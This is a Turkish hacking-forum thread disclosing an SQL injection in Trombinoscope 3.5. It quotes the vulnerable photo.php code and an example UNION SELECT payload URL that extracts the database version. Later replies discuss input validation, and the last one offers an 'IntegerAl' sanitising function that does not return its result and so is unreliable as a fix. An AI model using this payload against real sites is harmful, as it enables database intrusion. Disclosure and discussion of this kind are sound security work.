Trombinoscope 3.5 SQL Injection

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

Trombinoscope 3.5 SQL Injection

06/May/12 10:37

Kısayol

Şikayet

Özel Mesaj

Muhalif Yorumcu
SeRDaR

Kayıt Tarihi: 09/Kasım/2003

 Exploit Title: Trombinoscope <= 3.5 SQL Injection Vulnerability
 Software Link:
 http://ftp1.toocharger.com/sc2MP3p/trombinoscope_4116.zip


Açığa sebebep olan photo.php deki kodlar

 <?php
 $id = $_GET["id"];

 $query_seul = "SELECT `pseudo`, `sexe`, `img` FROM `trombino` WHERE idx = $id";
 $seul = mysql_query($query_seul) or die(mysql_error());
 $row_seul = mysql_fetch_assoc($seul);

?>

Örnek Exploit: http://site.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()--

Önemsediğin Kadar Önemsenirsin. Önemsendiğin Kadar Önemsensersin.

Alıntı yap

06/May/12 11:12 Kısayol Şikayet Özel Mesaj

renegadealien

Kayıt Tarihi: 23/Mart/2003

Programcıların, özellikle Web programcılarının,

Get'le, requestle data almayı bırakması, Değişken çeşidine göre kontrol yapıp değer alan fonksiyonlar ile işlem yapması şart...

Yaz bi fonksiyon IntegerAl() diye bitsin gitsin arkadaş...

İlla bi yerde unutursun ondan sonra böyle...

10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Kendi özlü sözümdür, kaynak belirterek kullanınız.

Alıntı yap
06/May/12 11:21 Kısayol Şikayet Özel Mesaj

EmQceR

Kayıt Tarihi: 14/Kasım/2007

renegadealien bunu yazdı:
-----------------------------

Programcıların, özellikle Web programcılarının,

Get'le, requestle data almayı bırakması, Değişken çeşidine göre kontrol yapıp değer alan fonksiyonlar ile işlem yapması şart...

Yaz bi fonksiyon IntegerAl() diye bitsin gitsin arkadaş...

İlla bi yerde unutursun ondan sonra böyle...

-----------------------------

hocam vaktin varsa bununla ilgili makale,döküman vs. yazabilir misin?

...

Alıntı yap
06/May/12 12:10 Kısayol Şikayet Özel Mesaj
Realist

Kayıt Tarihi: 13/Nisan/2007
EmQceR bunu yazdı:
-----------------------------

renegadealien bunu yazdı:
-----------------------------

Programcıların, özellikle Web programcılarının,

Get'le, requestle data almayı bırakması, Değişken çeşidine göre kontrol yapıp değer alan fonksiyonlar ile işlem yapması şart...

Yaz bi fonksiyon IntegerAl() diye bitsin gitsin arkadaş...

İlla bi yerde unutursun ondan sonra böyle...

-----------------------------

hocam vaktin varsa bununla ilgili makale,döküman vs. yazabilir misin?

-----------------------------

<?php
function IntegerAl($degisken,$get)
{
$degisken=(int)mysql_real_escape_string($_GET[$get]);
}
IntegerAl('no','id');
?>
```
 
```
..
Alıntı yap

Toplam Hit: 1099 Toplam Mesaj: 4

Cevapla